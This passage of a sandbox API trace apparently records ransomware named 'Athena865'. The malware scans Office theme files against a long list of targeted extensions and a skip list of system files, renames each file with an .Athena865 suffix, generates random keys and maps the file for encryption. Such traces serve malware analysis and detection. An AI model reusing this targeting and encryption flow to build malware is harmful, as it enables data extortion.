lpString2="fm5") returned 1 [0065.704] lstrlenW (lpString="fmp") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.704] lstrlenW (lpString="fmp12") returned 5 [0065.704] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.704] lstrlenW (lpString="fmpsl") returned 5 [0065.704] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.704] lstrlenW (lpString="fol") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.704] lstrlenW (lpString="fp3") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.704] lstrlenW (lpString="fp4") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.704] lstrlenW (lpString="fp5") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.704] lstrlenW (lpString="fp7") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.704] lstrlenW (lpString="fpt") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.704] lstrlenW (lpString="frm") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.704] lstrlenW (lpString="gdb") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.704] lstrlenW (lpString="gdb") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.704] lstrlenW (lpString="grdb") returned 4 [0065.704] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.704] lstrlenW (lpString="gwi") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.705] lstrlenW (lpString="hdb") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.705] lstrlenW (lpString="his") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.705] lstrlenW (lpString="ib") returned 2 [0065.705] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.705] lstrlenW (lpString="idb") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.705] lstrlenW (lpString="ihx") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.705] lstrlenW (lpString="itdb") returned 4 [0065.705] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.705] lstrlenW (lpString="itw") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.705] lstrlenW (lpString="jet") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.705] lstrlenW (lpString="jtx") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.705] lstrlenW (lpString="kdb") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.705] lstrlenW (lpString="kexi") returned 4 [0065.705] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.705] lstrlenW (lpString="kexic") returned 5 [0065.705] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.705] lstrlenW (lpString="kexis") returned 5 [0065.705] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.705] lstrlenW (lpString="lgc") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.705] lstrlenW (lpString="lwx") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.705] lstrlenW (lpString="maf") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.705] lstrlenW (lpString="maq") returned 3 [0065.705] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.705] lstrlenW (lpString="mar") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.706] lstrlenW (lpString="marshal") returned 7 [0065.706] lstrcmpiW (lpString1="er.thmx", lpString2="marshal") returned -1 [0065.706] lstrlenW (lpString="mas") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.706] lstrlenW (lpString="mav") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.706] lstrlenW (lpString="maw") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.706] lstrlenW (lpString="mdbhtml") returned 7 [0065.706] lstrcmpiW (lpString1="er.thmx", lpString2="mdbhtml") returned -1 [0065.706] lstrlenW (lpString="mdn") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.706] lstrlenW (lpString="mdt") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.706] lstrlenW (lpString="mfd") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.706] lstrlenW (lpString="mpd") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.706] lstrlenW (lpString="mrg") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.706] lstrlenW (lpString="mud") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.706] lstrlenW (lpString="mwb") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.706] lstrlenW (lpString="myd") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.706] lstrlenW (lpString="ndf") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.706] lstrlenW (lpString="nnt") returned 3 [0065.706] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.706] lstrlenW (lpString="nrmlib") returned 6 [0065.707] lstrcmpiW (lpString1="r.thmx", lpString2="nrmlib") returned 1 [0065.707] lstrlenW (lpString="ns2") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.707] lstrlenW (lpString="ns3") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.707] lstrlenW (lpString="ns4") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.707] lstrlenW (lpString="nsf") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.707] lstrlenW (lpString="nv") returned 2 [0065.707] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.707] lstrlenW (lpString="nv2") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.707] lstrlenW (lpString="nwdb") returned 4 [0065.707] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.707] lstrlenW (lpString="nyf") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.707] lstrlenW (lpString="odb") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.707] lstrlenW (lpString="odb") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.707] lstrlenW (lpString="oqy") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.707] lstrlenW (lpString="ora") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.707] lstrlenW (lpString="orx") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.707] lstrlenW (lpString="owc") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.707] lstrlenW (lpString="p96") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.707] lstrlenW (lpString="p97") returned 3 [0065.707] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.707] lstrlenW (lpString="pan") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.708] lstrlenW (lpString="pdb") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.708] lstrlenW (lpString="pdm") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.708] lstrlenW (lpString="pnz") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.708] lstrlenW (lpString="qry") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.708] lstrlenW (lpString="qvd") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.708] lstrlenW (lpString="rbf") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.708] lstrlenW (lpString="rctd") returned 4 [0065.708] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.708] lstrlenW (lpString="rod") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.708] lstrlenW (lpString="rodx") returned 4 [0065.708] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.708] lstrlenW (lpString="rpd") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.708] lstrlenW (lpString="rsd") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.708] lstrlenW (lpString="sas7bdat") returned 8 [0065.708] lstrcmpiW (lpString1="ver.thmx", lpString2="sas7bdat") returned 1 [0065.708] lstrlenW (lpString="sbf") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.708] lstrlenW (lpString="scx") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.708] lstrlenW (lpString="sdb") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.708] lstrlenW (lpString="sdc") returned 3 [0065.708] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.709] lstrlenW (lpString="sdf") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.709] lstrlenW (lpString="sis") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.709] lstrlenW (lpString="spq") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.709] lstrlenW (lpString="te") returned 2 [0065.709] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.709] lstrlenW (lpString="teacher") returned 7 [0065.709] lstrcmpiW (lpString1="er.thmx", lpString2="teacher") returned -1 [0065.709] lstrlenW (lpString="tmd") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.709] lstrlenW (lpString="tps") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.709] lstrlenW (lpString="trc") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.709] lstrlenW (lpString="trc") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.709] lstrlenW (lpString="trm") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.709] lstrlenW (lpString="udb") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.709] lstrlenW (lpString="udl") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.709] lstrlenW (lpString="usr") returned 3 [0065.709] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.709] lstrlenW (lpString="v12") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.710] lstrlenW (lpString="vis") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.710] lstrlenW (lpString="vpd") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.710] lstrlenW (lpString="vvv") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.710] lstrlenW (lpString="wdb") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.710] lstrlenW (lpString="wmdb") returned 4 [0065.710] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.710] lstrlenW (lpString="wrk") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.710] lstrlenW (lpString="xdb") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.710] lstrlenW (lpString="xld") returned 3 [0065.710] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.710] lstrlenW (lpString="xmlff") returned 5 [0065.710] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.710] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.Athena865") returned 77 [0065.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.athena865"), dwFlags=0x1) returned 1 [0065.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.712] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=393281) returned 1 [0065.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.712] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.713] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.713] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.713] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60350, lpName=0x0) returned 0x17c [0065.715] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60350) returned 0x2d50000 [0065.738] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.739] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.739] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.740] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0065.745] CloseHandle (hObject=0x17c) returned 1 [0065.745] CloseHandle (hObject=0x154) returned 1 [0065.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.747] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0065.747] lstrcmpiW (lpString1="Horizon.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".") returned 1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="..") returned 1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="windows") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootmgr") returned 1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="temp") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="pagefile.sys") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="boot") returned 1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ids.txt") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ntuser.dat") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="perflogs") returned -1 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2="MSBuild") returned -1 [0065.748] lstrlenW (lpString="Horizon.thmx") returned 12 [0065.748] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Horizon.thmx" | out: lpString1="Horizon.thmx") returned="Horizon.thmx" [0065.748] lstrlenW (lpString="Horizon.thmx") returned 12 [0065.748] lstrlenW (lpString="Athena865") returned 9 [0065.748] lstrcmpiW (lpString1="izon.thmx", lpString2="Athena865") returned 1 [0065.748] lstrlenW (lpString=".dll") returned 4 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".dll") returned 1 [0065.748] lstrlenW (lpString=".lnk") returned 4 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".lnk") returned 1 [0065.748] lstrlenW (lpString=".ini") returned 4 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".ini") returned 1 [0065.748] lstrlenW (lpString=".sys") returned 4 [0065.748] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".sys") returned 1 [0065.748] lstrlenW (lpString="Horizon.thmx") returned 12 [0065.748] lstrlenW (lpString="bak") returned 3 [0065.748] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.748] lstrlenW (lpString="ba_") returned 3 [0065.748] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.748] lstrlenW (lpString="dbb") returned 3 [0065.748] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.749] lstrlenW (lpString="vmdk") returned 4 [0065.749] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.749] lstrlenW (lpString="rar") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.749] lstrlenW (lpString="zip") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.749] lstrlenW (lpString="tgz") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.749] lstrlenW (lpString="vbox") returned 4 [0065.749] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.749] lstrlenW (lpString="vdi") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.749] lstrlenW (lpString="vhd") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.749] lstrlenW (lpString="vhdx") returned 4 [0065.749] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.749] lstrlenW (lpString="avhd") returned 4 [0065.749] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.749] lstrlenW (lpString="db") returned 2 [0065.749] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.749] lstrlenW (lpString="db2") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.749] lstrlenW (lpString="db3") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.749] lstrlenW (lpString="dbf") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.749] lstrlenW (lpString="mdf") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.749] lstrlenW (lpString="mdb") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.749] lstrlenW (lpString="sql") returned 3 [0065.749] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.749] lstrlenW (lpString="sqlite") returned 6 [0065.749] lstrcmpiW (lpString1="n.thmx", lpString2="sqlite") returned -1 [0065.749] lstrlenW (lpString="sqlite3") returned 7 [0065.750] lstrcmpiW (lpString1="on.thmx", lpString2="sqlite3") returned -1 [0065.750] lstrlenW (lpString="sqlitedb") returned 8 [0065.750] lstrcmpiW (lpString1="zon.thmx", lpString2="sqlitedb") returned 1 [0065.750] lstrlenW (lpString="xml") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.750] lstrlenW (lpString="$er") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.750] lstrlenW (lpString="4dd") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.750] lstrlenW (lpString="4dl") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.750] lstrlenW (lpString="^^^") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.750] lstrlenW (lpString="abs") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.750] lstrlenW (lpString="abx") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.750] lstrlenW (lpString="accdb") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.750] lstrlenW (lpString="accdc") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.750] lstrlenW (lpString="accde") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.750] lstrlenW (lpString="accdr") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.750] lstrlenW (lpString="accdt") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.750] lstrlenW (lpString="accdw") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.750] lstrlenW (lpString="accft") returned 5 [0065.750] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.750] lstrlenW (lpString="adb") returned 3 [0065.750] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.751] lstrlenW (lpString="adb") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.751] lstrlenW (lpString="ade") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.751] lstrlenW (lpString="adf") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.751] lstrlenW (lpString="adn") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.751] lstrlenW (lpString="adp") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.751] lstrlenW (lpString="alf") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.751] lstrlenW (lpString="ask") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.751] lstrlenW (lpString="btr") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.751] lstrlenW (lpString="cat") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.751] lstrlenW (lpString="cdb") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.751] lstrlenW (lpString="ckp") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.751] lstrlenW (lpString="cma") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.751] lstrlenW (lpString="cpd") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.751] lstrlenW (lpString="dacpac") returned 6 [0065.751] lstrcmpiW (lpString1="n.thmx", lpString2="dacpac") returned 1 [0065.751] lstrlenW (lpString="dad") returned 3 [0065.751] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.751] lstrlenW (lpString="dadiagrams") returned 10 [0065.751] lstrcmpiW (lpString1="rizon.thmx", lpString2="dadiagrams") returned 1 [0065.751] lstrlenW (lpString="daschema") returned 8 [0065.752] lstrcmpiW (lpString1="zon.thmx", lpString2="daschema") returned 1 [0065.752] lstrlenW (lpString="db-journal") returned 10 [0065.752] lstrcmpiW (lpString1="rizon.thmx", lpString2="db-journal") returned 1 [0065.752] lstrlenW (lpString="db-shm") returned 6 [0065.752] lstrcmpiW (lpString1="n.thmx", lpString2="db-shm") returned 1 [0065.752] lstrlenW (lpString="db-wal") returned 6 [0065.752] lstrcmpiW (lpString1="n.thmx", lpString2="db-wal") returned 1 [0065.752] lstrlenW (lpString="dbc") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.752] lstrlenW (lpString="dbs") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.752] lstrlenW (lpString="dbt") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.752] lstrlenW (lpString="dbv") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.752] lstrlenW (lpString="dbx") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.752] lstrlenW (lpString="dcb") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.752] lstrlenW (lpString="dct") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.752] lstrlenW (lpString="dcx") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.752] lstrlenW (lpString="ddl") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.752] lstrlenW (lpString="dlis") returned 4 [0065.752] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.752] lstrlenW (lpString="dp1") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.752] lstrlenW (lpString="dqy") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.752] lstrlenW (lpString="dsk") returned 3 [0065.752] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.753] lstrlenW (lpString="dsn") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.753] lstrlenW (lpString="dtsx") returned 4 [0065.753] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.753] lstrlenW (lpString="dxl") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 